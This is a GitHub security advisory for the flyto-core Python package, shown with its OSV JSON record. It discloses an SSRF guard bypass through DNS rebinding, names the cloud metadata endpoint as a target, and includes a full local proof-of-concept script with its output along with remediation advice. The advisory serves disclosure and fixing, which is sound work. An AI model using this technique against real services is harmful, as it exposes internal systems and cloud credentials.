GHSA-6PM8-6F34-9V3G
Vulnerability from github – Published: 2026-11-20 00:11 – Updated: 2026-11-20 00:11[MEDIUM] SSRF guard bypass via DNS rebinding — validate_url_ssrf resolves-then-connects without pinning
- CWE: CWE-918 (SSRF) / CWE-367 (TOCTOU).
- CVSS v3.1:
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N= 6.8 Medium (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254). - Affected component:
flyto-core(PyPIflyto-core), HEADae2b38e(v2.26.7).src/core/utils.py::validate_url_ssrf(resolution atgetaddrinfo~L512,is_private_ipcheck ~L515) and every consumer:guarded_aiohttp_request(),enforce_outbound_url()/validate_url_with_env_config()— i.e.http.get/request/batch,graphql.query/mutation,monitor.http_check,notification.{slack,discord,teams},ai.vision_analyze,verify.visual_diff,browser.proxy_rotate, etc. - Relationship: Incomplete hardening of the SSRF-guard family (GHSA-pgwh-4jj4-qm8v, GHSA-c9hr-64h3-gxpc, GHSA-794r-5rp2-fpg8/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.
Root cause
validate_url_ssrf() resolves the hostname with socket.getaddrinfo() and rejects the URL if any resolved IP is private. It then returns the URL string (hostname intact). The caller (guarded_aiohttp_request: validate_url_with_env_config(url) then session.request(method, url, ...)) hands the hostname to aiohttp, which performs an independent second DNS resolution at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's socket.getaddrinfo, so the two lookups are genuinely separate — one flip is sufficient.
Reachability
- Attacker controls DNS for
rebind.attacker.test(TTL 0), and drives any guarded HTTP module withurl=http://rebind.attacker.test/(recipe / MCPexecute_module). - Guard:
getaddrinfo→ public IP →is_private_ipfalse → URL allowed. - Outbound request: aiohttp re-resolves
rebind.attacker.test→ attacker now answers127.0.0.1/169.254.169.254→ connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.
Executable PoC (benign, local; deterministic)
The attacker's TTL=0 flip is modelled by making socket.getaddrinfo return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.
# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)
# guard sees resolution #1 (public) -> ALLOWS; connect re-resolves (127.0.0.1) -> hits sentinel
validate_url_ssrf("http://rebind.attacker.test:8080/") # ALLOWED
socket.create_connection(("rebind.attacker.test", 8080)) # lands on 127.0.0.1 sentinel
Observed output:
[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/ (saw public 93.184.216.34 on resolution #1)
[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True
BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)
Adversarial re-read
- Is the getaddrinfo monkeypatch cheating? No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable:
validate_url_with_env_config(url)resolves once, thensession.request(url)resolves again with no pin. - Does aiohttp's DNS cache prevent it? No — the guard's
socket.getaddrinfoand aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's. - Does redirect revalidation (GHSA-c9hr) block it? No — the first hop rebinds before any redirect.
- Multiple A records? The guard loops all
getaddrinforesults and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does. - Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).
Remediation
Pin the validated address: resolve once, validate every returned IP, then connect to the pinned IP (not the hostname) — e.g. pass the resolved address to aiohttp via a custom resolver/TCPConnector (or set the Host header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in guarded_aiohttp_request. Alternatively, use a resolver wrapper that validates inside the connect path.
Confidence
High that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.
Proof-of-Concept source (poc_dns_rebinding.py)
"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError
# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
try:
srv.bind(("127.0.0.1", _p)); break
except OSError:
continue
else:
raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
try:
c,_ = srv.accept(); hit["internal"] = True; c.close()
except OSError:
pass
threading.Thread(target=accept_once, daemon=True).start()
HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW
# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
if host == HOST:
calls["n"] += 1
ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo
# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
validate_url_ssrf(f"http://{HOST}:{PORT}/")
print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
print("[guard] blocked (rebinding not effective):", e); sys.exit(0)
# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
if hit["internal"] else "NOT CONFIRMED")
srv.close()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.26.7"
},
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77316"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T00:11:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# [MEDIUM] SSRF guard bypass via DNS rebinding \u2014 validate_url_ssrf resolves-then-connects without pinning\n\n- **CWE:** CWE-918 (SSRF) / CWE-367 (TOCTOU).\n- **CVSS v3.1:** `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N` = **6.8 Medium** (AC:H \u2014 needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard\u0027s lookup and the connection\u0027s lookup; S:C \u2014 reaches internal/metadata services the guard is meant to block; C:H \u2014 e.g. cloud metadata credentials at 169.254.169.254).\n- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7). `src/core/utils.py::validate_url_ssrf` (resolution at `getaddrinfo` ~L512, `is_private_ip` check ~L515) and every consumer: `guarded_aiohttp_request()`, `enforce_outbound_url()`/`validate_url_with_env_config()` \u2014 i.e. `http.get/request/batch`, `graphql.query/mutation`, `monitor.http_check`, `notification.{slack,discord,teams}`, `ai.vision_analyze`, `verify.visual_diff`, `browser.proxy_rotate`, etc.\n- **Relationship:** Incomplete hardening of the SSRF-guard family (**GHSA-pgwh-4jj4-qm8v**, **GHSA-c9hr-64h3-gxpc**, **GHSA-794r-5rp2-fpg8**/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks \u2014 but none pins the resolved address, so the guard\u0027s resolve-then-connect gap defeats all of them.\n\n## Root cause\n`validate_url_ssrf()` resolves the hostname with `socket.getaddrinfo()` and rejects the URL if any resolved IP is private. It then returns the **URL string** (hostname intact). The caller (`guarded_aiohttp_request`: `validate_url_with_env_config(url)` then `session.request(method, url, ...)`) hands the hostname to aiohttp, which performs an **independent second DNS resolution** at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard\u0027s lookup and a private/loopback/metadata address for the connection\u0027s lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard\u0027s `socket.getaddrinfo`, so the two lookups are genuinely separate \u2014 one flip is sufficient.\n\n## Reachability\n1. Attacker controls DNS for `rebind.attacker.test` (TTL 0), and drives any guarded HTTP module with `url=http://rebind.attacker.test/` (recipe / MCP `execute_module`).\n2. Guard: `getaddrinfo` \u2192 public IP \u2192 `is_private_ip` false \u2192 **URL allowed**.\n3. Outbound request: aiohttp re-resolves `rebind.attacker.test` \u2192 attacker now answers `127.0.0.1` / `169.254.169.254` \u2192 connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help \u2014 the initial hop already rebinds.\n\n## Executable PoC (benign, local; deterministic)\nThe attacker\u0027s TTL=0 flip is modelled by making `socket.getaddrinfo` return public on lookup #1 (the guard\u0027s) and loopback on later lookups (the connection\u0027s); a raw local TCP sentinel stands in for the internal service. No payload is sent.\n\n```python\n# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)\n# guard sees resolution #1 (public) -\u003e ALLOWS; connect re-resolves (127.0.0.1) -\u003e hits sentinel\nvalidate_url_ssrf(\"http://rebind.attacker.test:8080/\") # ALLOWED\nsocket.create_connection((\"rebind.attacker.test\", 8080)) # lands on 127.0.0.1 sentinel\n```\n\nObserved output:\n```\n[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/ (saw public 93.184.216.34 on resolution #1)\n[connect] outbound request re-resolved rebind.attacker.test -\u003e 127.0.0.1 and reached the INTERNAL sentinel: True\nBUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)\n```\n\n## Adversarial re-read\n- **Is the getaddrinfo monkeypatch cheating?** No \u2014 it deterministically models an attacker\u0027s TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable: `validate_url_with_env_config(url)` resolves once, then `session.request(url)` resolves again with no pin.\n- **Does aiohttp\u0027s DNS cache prevent it?** No \u2014 the guard\u0027s `socket.getaddrinfo` and aiohttp\u0027s resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard\u0027s.\n- **Does redirect revalidation (GHSA-c9hr) block it?** No \u2014 the first hop rebinds before any redirect.\n- **Multiple A records?** The guard loops all `getaddrinfo` results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does.\n- Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).\n\n## Remediation\nPin the validated address: resolve once, validate every returned IP, then **connect to the pinned IP** (not the hostname) \u2014 e.g. pass the resolved address to aiohttp via a custom `resolver`/`TCPConnector` (or set the `Host` header and connect by IP), so the guard\u0027s decision and the socket target are the same address. Apply for every hop in `guarded_aiohttp_request`. Alternatively, use a resolver wrapper that validates inside the connect path.\n\n## Confidence\nHigh that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.\n\n\n## Proof-of-Concept source (`poc_dns_rebinding.py`)\n\n```python\n\"\"\"PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).\nFaithful \u0026 benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo\nflips public-\u003eprivate across successive lookups exactly as an attacker TTL=0 DNS does.\nThe guard validates the FIRST resolution (public -\u003e passes) while the CONNECT re-resolves to the\nsentinel (private) -\u003e internal reach that the guard was supposed to block.\"\"\"\nimport os, sys, socket, threading, time\nsys.path.insert(0, os.path.join(os.getcwd(), \"src\"))\nfrom core.utils import validate_url_ssrf, SSRFError\n\n# 1) internal \"service\" sentinel: raw TCP listener on loopback\nsrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nimport errno\nfor _p in (8080, 8443):\n try:\n srv.bind((\"127.0.0.1\", _p)); break\n except OSError:\n continue\nelse:\n raise SystemExit(\"no allowed port free\")\nsrv.listen(1)\nPORT = srv.getsockname()[1]\nhit = {\"internal\": False}\ndef accept_once():\n try:\n c,_ = srv.accept(); hit[\"internal\"] = True; c.close()\n except OSError:\n pass\nthreading.Thread(target=accept_once, daemon=True).start()\n\nHOST = \"rebind.attacker.test\"\nPUBLIC = \"93.184.216.34\" # example.com, public -\u003e guard must ALLOW\n\n# 2) attacker DNS: 1st lookup (the guard\u0027s) =\u003e public; later lookups (the connect\u0027s) =\u003e 127.0.0.1\n_real = socket.getaddrinfo\ncalls = {\"n\": 0}\ndef flipping_getaddrinfo(host, port, *a, **k):\n if host == HOST:\n calls[\"n\"] += 1\n ip = PUBLIC if calls[\"n\"] == 1 else \"127.0.0.1\"\n return [(socket.AF_INET, socket.SOCK_STREAM, 6, \"\", (ip, port or 0))]\n return _real(host, port, *a, **k)\nsocket.getaddrinfo = flipping_getaddrinfo\n\n# 3) GUARD runs (resolves #1 = public) -\u003e should PASS\ntry:\n validate_url_ssrf(f\"http://{HOST}:{PORT}/\")\n print(f\"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)\")\nexcept SSRFError as e:\n print(\"[guard] blocked (rebinding not effective):\", e); sys.exit(0)\n\n# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -\u003e lands on the internal sentinel\ntry:\n s = socket.create_connection((HOST, PORT), timeout=3); s.close()\nexcept OSError as e:\n print(\"[connect] error:\", e)\ntime.sleep(0.2)\nsocket.getaddrinfo = _real\nprint(f\"[connect] outbound request re-resolved {HOST} -\u003e 127.0.0.1 and reached the INTERNAL sentinel: {hit[\u0027internal\u0027]}\")\nprint(\"BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)\"\n if hit[\"internal\"] else \"NOT CONFIRMED\")\nsrv.close()\n\n```",
"id": "GHSA-6pm8-6f34-9v3g",
"modified": "2026-11-20T00:11:24Z",
"published": "2026-11-20T00:11:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-6pm8-6f34-9v3g"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: SSRF guard bypass via DNS rebinding (validate_url_ssrf resolves-then-connects without pinning)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.